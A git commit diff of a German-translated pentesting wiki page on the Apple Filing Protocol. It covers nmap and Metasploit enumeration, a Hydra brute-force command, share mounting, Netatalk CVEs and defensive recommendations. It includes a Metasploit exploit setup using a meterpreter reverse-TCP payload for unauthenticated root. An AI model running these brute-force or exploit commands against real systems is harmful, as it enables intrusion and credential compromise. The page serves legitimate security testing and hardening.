Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:06:43 +00:00
parent 0c70c0632d
commit 5d02c9f6af

View File

@ -4,27 +4,109 @@
## Grundlegende Informationen
Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisierter Netzwerkprotokoll, das im **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX- und Zugriffssteuerlistenberechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus. Es war das Hauptprotokoll für Dateidienste in Mac OS 9 und früheren Versionen.
Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das innerhalb des **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX-ähnlichen und ACL-Berechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus.
**Standardport:** 548
Obwohl AFP in modernen macOS-Versionen von SMB abgelöst wurde (SMB ist seit OS X 10.9 der Standard), trifft man es immer noch an in:
* Legacy macOS / Mac OS 9 Umgebungen
* NAS-Geräten (QNAP, Synology, Western Digital, TrueNAS…), die den Open-Source **Netatalk** Daemon einbetten
* Gemischten OS-Netzwerken, in denen Time-Machine-over-AFP weiterhin aktiviert ist
**Standard TCP-Port:** **548** (AFP über TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **Enumeration**
---
Für die Enumeration von AFP-Diensten sind die folgenden Befehle und Skripte nützlich:
## Aufzählung
### Schnelles Banner / Serverinfo
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**Skripte und deren Beschreibungen:**
Nützliche AFP NSE-Skripte:
- **afp-ls**: Dieses Skript wird verwendet, um die verfügbaren AFP-Volumes und Dateien aufzulisten.
- **afp-path-vuln**: Es listet alle AFP-Volumes und Dateien auf und hebt potenzielle Schwachstellen hervor.
- **afp-serverinfo**: Dies liefert detaillierte Informationen über den AFP-Server.
- **afp-showmount**: Es listet verfügbare AFP-Freigaben zusammen mit ihren jeweiligen ACLs auf.
| Skript | Was es tut |
|---------------------|-------------------------------------|
| **afp-ls** | Listet verfügbare AFP-Volumes und Dateien auf |
| **afp-brute** | Passwort-Brute-Force gegen AFP-Login |
| **afp-serverinfo** | Gibt Servername, Maschinentyp, AFP-Version, unterstützte UAMs usw. aus |
| **afp-showmount** | Listet Freigaben zusammen mit ihren ACLs auf |
| **afp-path-vuln** | Erkennt (und kann ausnutzen) Verzeichnisdurchquerung, CVE-2010-0533 |
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
Das NSE-Brute-Force-Skript kann mit Hydra/Medusa kombiniert werden, wenn mehr Kontrolle erforderlich ist:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### Interacting with shares
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (unter Verwendung von `afpfs-ng` in den meisten Distributionen verpackt)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
Sobald gemountet, denken Sie daran, dass klassische Mac-Ressourcen-Forks als versteckte `._*` AppleDouble-Dateien gespeichert werden diese enthalten oft interessante Metadaten, die DFIR-Tools übersehen.
---
## Häufige Schwachstellen & Ausnutzung
### Netatalk nicht authentifizierte RCE-Kette (2022)
Mehrere NAS-Anbieter lieferten **Netatalk ≤3.1.12**. Ein Mangel an Grenzkontrollen in `parse_entries()` ermöglicht es einem Angreifer, einen bösartigen **AppleDouble**-Header zu erstellen und **remote root** vor der Authentifizierung zu erlangen (**CVSS 9.8 CVE-2022-23121**). Ein vollständiger Bericht von NCC Group mit PoC, das Western-Digital PR4100 ausnutzt, ist verfügbar.
Metasploit (>= 6.3) liefert das Modul `exploit/linux/netatalk/parse_entries`, das die Nutzlast über DSI `WRITE` bereitstellt.
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
Wenn das Ziel eine betroffene QNAP/Synology-Firmware ausführt, führt eine erfolgreiche Ausnutzung zu einer Shell als **root**.
### Netatalk OpenSession Heap Overflow (2018)
Ältere Netatalk-Versionen (3.0.0 - 3.1.11) sind anfällig für einen Out-of-Bounds-Schreibvorgang im **DSI OpenSession**-Handler, der nicht authentifizierte Codeausführung ermöglicht (**CVE-2018-1160**). Eine detaillierte Analyse und ein PoC wurden von Tenable Research veröffentlicht.
### Weitere bemerkenswerte Probleme
* **CVE-2022-22995** Symlink-Umleitung, die zu beliebigem Dateischreiben / RCE führt, wenn AppleDouble v2 aktiviert ist (3.1.0 - 3.1.17).
* **CVE-2010-0533** Verzeichnisdurchquerung in Apple Mac OS X 10.6 AFP (erkannt durch `afp-path-vuln.nse`).
* Mehrere Speicher-Sicherheitsfehler wurden in **Netatalk 4.x (2024)** behoben es wird empfohlen, ein Upgrade durchzuführen, anstatt einzelne CVEs zu patchen.
---
## Verteidigungsempfehlungen
1. **Deaktivieren Sie AFP**, es sei denn, es ist unbedingt erforderlich verwenden Sie stattdessen SMB3 oder NFS.
2. Wenn AFP bleiben muss, **aktualisieren Sie Netatalk auf ≥ 3.1.18 oder 4.x** oder wenden Sie die Firmware des Anbieters an, die die Patches von 2022/2023/2024 zurückportiert.
3. Erzwingen Sie **starke UAMs** (z. B. *DHX2*), deaktivieren Sie Klartext- und Gastanmeldungen.
4. Beschränken Sie TCP 548 auf vertrauenswürdige Subnetze und wickeln Sie AFP in ein VPN, wenn es remote exponiert ist.
5. Scannen Sie regelmäßig mit `nmap -p 548 --script afp-*` in CI/CD, um rogue / downgraded Appliances zu erkennen.
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## Referenzen
* Netatalk-Sicherheitsberatung CVE-2022-23121 "Beliebige Codeausführung in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}